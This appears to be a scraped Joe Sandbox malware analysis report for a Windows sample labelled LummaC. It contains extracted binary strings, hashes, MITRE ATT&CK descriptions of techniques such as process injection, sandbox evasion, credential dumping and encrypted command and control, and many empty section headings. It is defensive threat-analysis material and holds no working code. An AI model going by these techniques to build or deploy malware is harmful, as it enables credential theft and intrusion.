Associated: 00000000.00000002.1965350995.0000000000BBE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965363533.0000000000BC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965363533.0000000000BD7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965363533.0000000000BDB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965363533.0000000000BEF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965416720.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965428377.0000000000BF8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1965428377.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_810000_txUcQFc0aJ.jbxd

Similarity

API ID:
String ID: gcscandone ProcessPrng$ goid base 390625Format[]bytestringCommonstructuint16uint32uint64chan<-<-chan Value %s=%vExpectIgnoreUTF-16STREETexec: rdtscppopcntcmd/gonetdnsX25519headerAnswer readdirconsoleTuesdayJanuaryOctoberMUI_StdMUI_DltabortedCopySidWSARecvWSASendconnectsignal V$ status runtime.reflect. etypes nil Poolwsaioctl48828125strconv.parsing ParseIntMD5+SHA1SHA3-224SHA3-256SHA3-384SHA3-512GoStringSHA1-RSADSA-SHA1x509sha1DNS name2.5.4.102.5.4.112.5.4.17default:avx512bwavx512vlgo/typesnet/httpgo/buildnetedns0tlskyberEqualSidSetE$gp ) - NaN125625MD4MD5...intmapmsg***UseE (RSADSAURISETNUL:\/adxaesshaavxfmanetcgodnstcpudp///%25): filereadseekopensyncpipeStatJuneJulyEESTSASTAKSTAKDTACSTACDTAESTAEDTAWSTCESTNZSTNZDT as hourquitbindrecvsendCOFFMiscPOGOTrapLTCGRSDSNB10FileXBOXRich.crtallgal
API String ID: 0-4129489655
Opcode ID: fffa8f8d7d089f3e517c4738b3b52bd7a5110159be00398daf3f9dbda16c11c6
Instruction ID: 26a05498cfa3f674d82a39bf716ba564b82e81ee40efd7dfa9b15a3072ce3c03
Opcode Fuzzy Hash: fffa8f8d7d089f3e517c4738b3b52bd7a5110159be00398daf3f9dbda16c11c6
Instruction Fuzzy Hash: 9531C2749487449FC304EF68D09162ABBE1FF99304F41886DE9D887362EB349989CB93

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report txUcQFc0aJ.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Authenticode Signature

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Suricata IDS Alerts

Network Port Distribution

Windows Analysis Report
txUcQFc0aJ.exe